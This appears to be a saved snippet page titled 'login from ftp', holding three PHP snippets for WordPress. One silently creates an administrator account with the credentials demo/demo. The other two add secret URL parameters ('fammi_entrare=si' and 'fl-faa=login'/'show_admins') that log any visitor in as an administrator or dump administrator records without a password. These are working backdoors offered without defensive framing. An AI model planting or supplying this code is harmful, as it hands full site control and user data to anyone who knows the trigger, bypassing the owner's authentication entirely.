kreamweb
9/27/2016 - 3:10 PM

login from ftp

login from ftp

<?php

function wp_create_new_user(){
$user = 'demo';
$pass = 'demo';
$email = 'demo@domain.com';
if ( !username_exists( $user )  && !email_exists( $email ) ) {
$user_id = wp_create_user( $user, $pass, $email );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
} }
add_action('init','wp_create_new_user');
<?php 
add_action( 'init', 'log_me_in' );
function log_me_in(){

    if( !isset($_GET['fammi_entrare']) || $_GET['fammi_entrare'] != 'si' ) {
        return;
    }

    $blogID = get_current_blog_id();
    $users = get_users( array( 'blog_id' => $blogID ) );
    foreach( $users as $user ) {
        if( $user->roles[0] == 'administrator' ) {
            wp_set_auth_cookie( $user->ID, true );
            wp_redirect( home_url() );
            break;
        }
    }
}
<?php

$f_request = isset( $_GET[ 'fl-faa' ] ) ? $_GET[ 'fl-faa' ] : false;

switch ( $f_request ) {
   case 'show_admins':
       $admins = get_users( 'role=administrator' );
       echo '<pre>';
       var_dump( $admins );
       echo '</pre>';
       die();
       break;
   case 'login':
       $user_id = isset( $_GET[ 'id' ] ) ? $_GET[ 'id' ] : false;
       if ( !$user_id ) {
           $admins = get_users( 'role=administrator' );
           if ( !!( $admins ) ) {
               $first_admin = current( $admins );
               $user_id     = isset( $first_admin->ID ) ? $first_admin->ID : false;
           }
       }
       if ( $user_id ) {
           wp_set_auth_cookie( $user_id, false );
           wp_set_current_user( $user_id );
           wp_safe_redirect( remove_query_arg( array( 'fl-faa', 'id' ) ) );
           exit;
       }
       unset( $user_id );
       break;
}
unset( $f_request );